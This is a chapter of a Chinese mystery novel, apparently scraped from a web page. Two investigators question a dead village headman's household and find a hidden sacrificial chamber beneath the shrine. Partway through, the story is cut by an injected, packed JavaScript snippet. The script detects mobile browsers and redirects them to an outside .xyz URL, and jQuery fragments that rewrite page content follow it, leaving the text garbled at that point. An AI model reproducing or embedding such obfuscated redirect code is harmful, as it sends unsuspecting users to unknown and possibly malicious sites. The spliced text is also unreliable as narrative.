第二日一早,梁蔚然先去柴房找蔡达商议。
蔡达昨日的态度很奇怪,就算他因为被诬陷心中愤愤,骂几句也该将昨日发生何事说出来。
但他却持回避态度,梁蔚然思索一晚,觉得此事或许另有蹊跷。
谁知他到柴房时,却看见郑敏的身影,看来二人想到一处。
“郑娘子。”梁蔚然看到她手中拿着馒头粥碗,询问道,“蔡捕快还是没说?”
郑敏一早来问蔡达,但他仍旧什么都不肯说,于是她决定去问问里长家的其他人。
神龛所在房间紧邻正屋,若有打斗声,昨晚在正屋的里长夫人定会听到动静。
她摇摇头,将打算告诉梁蔚然:“梁捕头要同去吗?”
“好。”梁蔚然接过郑敏手中的饭食,递给守门捕快,嘱咐他照顾好蔡达后,转身同郑敏一同前往王梅借住之地。
昨晚梁蔚然临时提出让王梅带着家中之人搬出去,由于凶手尚未落网,所以特地派了两名捕快保护,倒是为今日提供方便。
“里长家中,只有他的夫人和两个婆子。”郑敏回想起昨日见过的三人,疑惑浮上心头,“他们年近不惑,没有孩子?”
“有一儿一女,女儿今年二十岁远嫁,儿子在五年前戏水溺亡。”梁蔚然将昨日从王梅口中打听的消息告诉郑敏,“丧子之后,里长夫妇不曾再生养。”
说话间,二人在一道竹门外停下脚步,这是里长原先的宅院。
“捕爷,该说的我都说清楚了,,何苦再上门为难我一个妇道人家。”王梅听见叩门声,打开门后却见到梁蔚然的脸,没忍住翻了个白眼。
“曲夫人,我们这次登门拜访,只想问问昨晚到底发生何事?”
“昨日不是已经问过了。”王梅狐疑地打量梁蔚然一眼,又见到他身后的郑敏,眼珠子一转,笑着请二人进屋,“不知这位娘子是?”
“她亦是府衙之人。”梁蔚然扫了王梅一眼,不动声色地将话题从郑敏身上引开,“曲夫人昨晚真的没有听到隔壁房间传出异动?”
“没有没有。”王梅将二人引到院中竹棚之下,唤人端来热茶,“昨晚我吃多了酒,早歇下了,哪还能管隔壁的动静。”
“不知村中信奉的是哪路神仙?”
王梅听到郑敏的问题,先是一愣,而后很快掩饰过去,笑着说道:“据说是西域的什么丰收神女,我也不懂,都是我家那死鬼一手操办的。”
“倒是我孤陋寡闻,不曾听过世上有这等神仙。”郑敏眼神没有离开王梅,只见对方神色僵硬一瞬,随即遮掩过去。
“我去瞧瞧那老妇怎得还没将茶端上来。”王梅在郑敏下一次开口前,起身往侧屋走去。
“劳烦夫人将家中仆妇也带过来。”郑敏话音方落,便看到王梅加快脚步,很快便消失在二人视野之中。
“郑娘子为何问起神明一事?”梁蔚然不解,神明鬼怪不过时人杜撰,又不会从神龛中活过来杀人。
“那副神像,总给我一种怪异之感。”郑敏说不上来那种感觉,只是在见过里长棺材前的香炉后,心中怪异之感更甚,“而且端看方才曲夫人的表现,其中或许藏着猫腻。”
“她们来了。”梁蔚然远远看到曲夫人和仆妇的身影,提醒道。
“捕爷,她们都在这里,有什么话赶紧问吧,可别耽误待会用饭。”
王梅毫不客气地催促完,又转身离开,独留两位仆妇在此地。
“昨晚你们可有听到与平常不同的声音?”
“没什么不同。”年轻的厨娘怯怯地瞧着郑敏,这两日主家出了这么大事,现在她又被盘问,紧张地快要站不住。
另一个粗使婆子则要镇定许多,道:“昨晚我迷迷糊糊间好像听到猫崽子叫春的呜呜声。”
“猫?”
粗使婆子点点头,但是又推翻这个说法:“不过我们村里几乎家家都有猫,也不算什么稀奇。”
“昨晚里长可有客人拜访?”
“客人倒是有。”粗使婆子正说着,厨娘却捣了捣她的胳膊,婆子声音一顿,才继续说道,“三天后便是祭神的日子,里长昨晚和村中木匠在一处,好像是在说祭台之事。”
郑敏向婆子问清楚木匠住所后,与梁蔚然一同离开此地。
“她们二人有隐瞒之事。”出门后,梁蔚然转头说道,方才他看见二人之间的小动作。
郑敏自然也注意到两人之间的不寻常之处,和王梅相同,这不寻常都同祭神仪式有关。
曲村不算大,二人很快便找到张木匠家,谁知家中只有他女儿在。
“我阿爹在祭台那里,你们去东边找他。”张木匠的女儿瞧着不过十岁,看见两人眼生,不敢开门。
“小妹妹,你知道村里的祭神仪式吗?”郑敏注意到小姑娘一直好奇地盯着自己,心头瞬间有了主意,她将头上的一枚绢花取下,递给小姑娘,“给,拿去玩。”
“我不能要。”小姑娘羡慕地摸了摸绢花,又将手收回去,“我爹说,不能随便拿别人的东西。”
郑敏笑眯眯地,仍举着手道:“你告诉我祭神仪式,我给你绢花,这是我给你的报酬,不算白拿我的。”
小姑娘仍是不伸手,过了一会,她进屋拿来一个木雕放到郑敏手中。
“我用神女像和你换。”说完,拿过郑敏手中的绢花,就要回家去,被郑敏眼疾手快地拉住。
“你还没有说祭神仪式呢。”
“祭神仪式,嗯…就是一群姐姐,穿着漂亮衣服,在高高的台子上跳舞。”小姑娘一边说,一边用手比划着,“好高好高的台子,阿爹说我长大了也要去,能得神女保佑。”
郑敏拿着手中的木雕神女,与梁蔚然对视一眼,察觉到一丝不对。
小姑娘说完后,没等郑敏问下一句,便将门关上,跑回家里去了。
郑敏瞧着紧闭的门扉,低头看起手中的木雕神女。
“这个神像,和里长供奉的神像,不太一样。”郑敏瞧着手中神女柔和的脸庞,皱起眉头。
“回去比对一下,就知道了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457896|169598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”梁蔚然亦低下头端详着郑敏手中木雕,却没发现什么异样之处。
等回到里长家,郑敏将神像摆在神龛上,梁蔚然一眼便瞧出两个神像的区别。
“张木匠家中的这个神像看起来比较…”梁蔚然摸摸鼻子,不知该如何形容其中的细微差别。
“比较好看一些。”郑敏的指尖划过神龛里的神像,它的面部线条偏硬朗,看起来英气十足,而张木匠的这个,与人们常规印象中的神女形象较为相似。
“对,木雕看起来是舒服好看些。”梁蔚然眼睛一亮,郑敏确实说到点上了,“不过这恐怕说明,在曲村人人家中的神像都不尽相同。”
“其实也不一定。”郑敏却不赞成,张木匠能专门负责祭台的搭建,这也说明他在曲村地位不低,若是要雕刻神像,村民们会第一时间想到他,“反而是里长家,用了一个完全不同的神像。”
梁蔚然听后若有所思,发现确如郑敏所说,曲村的祭神仪式已经举行了十年有余,按说神像长成何种模样早该有众人定论,可里长家中的神像,与张木匠所刻雕像,仅从肉眼便能认出并非出自一人之手。
这副雕像背后,隐藏者什么?
梁蔚然出神地盯着里长家中的神女像,一时失察将一旁的木雕神女打翻在地。
清脆的撞击声后,木雕神女滚落至一旁的桌子下面。
“不对,这声音不对。”郑敏听到木雕落地的声音,眉头皱起,蹲下身用手敲了敲地面,果然听到清脆的回想声,“下面是空的。”
至于入口,二人一齐看向桌下面的木雕神女。
那里有一根不起眼的麻绳。
梁蔚然将桌子搬开,便看出桌子下的地板有些磨损痕迹,他拽住麻绳用力一拉,露出下面藏着的楼梯,密道很深,一眼望不到底。
郑敏端起神龛前的烛台,与梁蔚然对视一眼,慢慢向密道里走去。
很快二人便走到最后一层台阶处,凭借着烛台的亮光,郑敏勉强辨认出密室中间,有一个巨大的圆形台子,看不出作何用处。
再往前走,她又闻到一股腐败的腥臭味,这股味道令她感到不安,脚下似乎也踩到什么绵软粘腻之物。
她低头看去,发现是一些沾着暗红痕迹的稻草。
梁蔚然紧挨着郑敏,警觉地观察着四周,生怕从暗处冒出来一道人影,给二人带来伤害。
但是四周静悄悄的,只能听到二人的脚步声和偶尔急促的呼吸声。
“这里有个烛台。”梁蔚然摸着一根长长的木头,走进仔细辨认才发现是一个木头烛台,上面还有半截残留的蜡烛。
郑敏走上前,将它点燃,眼前多了些亮光,也驱散一些二人对于未知的不安。
“这里应该还有其他烛台。”郑敏往右走了两步,果然又瞧见一个,等到二人将密室内的木头烛台全部点亮,才发现二人初见的圆形台子,根本就是个祭台,中间立着一尊神女像,诡异的面庞与里长家中供奉之相如出一辙。
“郑娘子,那边…有东西!”